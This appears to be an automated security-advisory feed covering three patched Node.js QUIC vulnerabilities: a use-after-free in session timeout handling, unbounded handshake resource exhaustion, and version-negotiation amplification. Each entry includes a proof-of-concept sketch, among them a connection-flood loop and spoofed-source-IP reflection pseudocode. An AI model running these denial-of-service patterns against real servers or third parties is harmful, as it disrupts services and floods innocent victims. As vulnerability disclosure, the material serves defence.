// The session BaseObjectPtr keeps the Session BaseObject alive but impl_ is reset,
// so session->RemoveStream() dereferences the null impl_ pointer, causing crash/memory corruption.
// Example: server stream 'close' callback calls session.close() synchronously,
// then C++ accesses session->RemoveStream() on a session with null impl_.

🔥 HIGH VERIFIED Use-After-Free (UAF)

May 21, 2026, 09:16 PM — nodejs/node

Commit: 5b3c053ed71d692773a2cc8de31ad47940727f18

Author: James M Snell

A Use-After-Free vulnerability existed in the QUIC Session::OnTimeout() function. When SendPendingData's scope guard called UpdateTimer(), it could synchronously re-enter OnTimeout(), which could trigger FinishClose → EmitClose → Destroy → impl_.reset() → ~Impl → RemoveSession(), dropping the last BaseObjectPtr from the endpoint map and freeing the Session object. The outer OnTimeout/SendPendingData frames would then continue operating on the freed memory. The fix adds a strong reference (BaseObjectPtr) to keep the Session alive for the duration of the operation.

🔍 View Affected Code & PoC

Affected Code

void Session::OnTimeout() {
  if (is_destroyed()) return;
  if (!impl_->application_) return;
  HandleScope scope(env()->isolate());

Proof of Concept

A QUIC client can trigger this by establishing a QUIC session and then manipulating timing conditions such that the QUIC timeout fires and causes re-entrant destruction. For example, a malicious QUIC peer that sends a CONNECTION_CLOSE frame at the exact moment a timer expires can trigger the re-entrant path: Session::OnTimeout() → SendPendingData() → scope_guard → UpdateTimer() → OnTimeout() → FinishClose() → Destroy() → (Session freed) → return to outer OnTimeout() which now uses freed Session memory. In a Node.js server: create a QUIC server, have a client connect, then have the client immediately close the connection in a way that races with the server's idle timeout, causing the UAF when the freed Session's vtable/members are accessed after destruction.

🔥 HIGH VERIFIED Resource Exhaustion / Denial of Service

May 21, 2026, 09:16 PM — nodejs/node

Commit: 4eae6f10af51d824160542d7574eb72367ac2c33

Author: James M Snell

Before the patch, the QUIC endpoint had no default limits on connections (maxConnectionsPerHost=0 and maxConnectionsTotal=0, meaning unlimited), and the handshake timeout defaulted to UINT64_MAX (effectively infinite). An attacker could initiate a large number of QUIC handshakes from many IP addresses or a single IP, consuming server resources (ngtcp2 connections, TLS state, JS objects) indefinitely without ever completing the handshake. The patch adds a default handshake timeout of 10 seconds and default connection limits of 100 per host and 10,000 total to bound resource exposure.

🔍 View Affected Code & PoC

Affected Code

maxConnectionsPerHost = 0,
maxConnectionsTotal = 0,
...
uint64_t handshake_timeout = UINT64_MAX;

Proof of Concept

// Attacker script: open thousands of QUIC connections without completing handshake
for (let i = 0; i < 100000; i++) {
  const conn = net.createUDPSocket();
  // Send QUIC Initial packet to server to initiate handshake, then stop responding
  // Each incomplete handshake holds server resources indefinitely with no timeout
  conn.send(craftQUICInitialPacket(), serverPort, serverHost);
}
// Server accumulates 100,000 half-open QUIC sessions consuming memory and CPU
// with no timeout to clean them up (handshake_timeout=UINT64_MAX) and no limit
// on concurrent connections (maxConnectionsTotal=0)

🔥 HIGH VERIFIED Amplification Attack / Resource Exhaustion (DoS)

May 21, 2026, 09:16 PM — nodejs/node

Commit: befc5f934b69fe73b5fefafec1c93b6a0463b3ae

Author: James M Snell

Before this patch, the QUIC endpoint had no rate limiting on version negotiation packets and immediate connection close packets sent to remote hosts. An attacker could spoof source IP addresses and send packets with unsupported QUIC versions or invalid tokens, causing the server to send large numbers of response packets to victim IPs (amplification attack) or exhaust server resources. The patch adds per-host rate limiting using the existing LRU tracking structure, capping both version negotiation and immediate close responses at 10 per tracked host.

🔍 View Affected Code & PoC

Affected Code

void Endpoint::SendVersionNegotiation(const PathDescriptor& options) {
  // While creating and sending a version negotiation packet does consume a
  // small amount of system resources, and while it is fairly trivial for a
  // malicious peer to force a version negotiation to be sent...
  auto packet = Packet::CreateVersionNegotiationPacket(*this, options);
  if (packet) {
    STAT_INCREMENT(Stats, version_negotiation_count);
    Send(std::move(packet));
  }

Proof of Concept

Attacker sends a flood of UDP packets to the QUIC endpoint with:
1. Source IP spoofed to victim's IP address
2. Unsupported QUIC version numbers in the packet header

Example using raw sockets (pseudocode):
  for i in range(10000):
    send_udp_packet(
      src_ip='victim.ip.address',  # spoofed
      dst_ip='quic.server.ip',
      dst_port=443,
      payload=craft_quic_packet(version=0xdeadbeef)  # unsupported version
    )

Result (before patch): Server sends 10000 version negotiation packets to victim.ip.address (amplification), potentially overwhelming the victim with traffic. Server also wastes CPU/memory generating each response packet with no bound.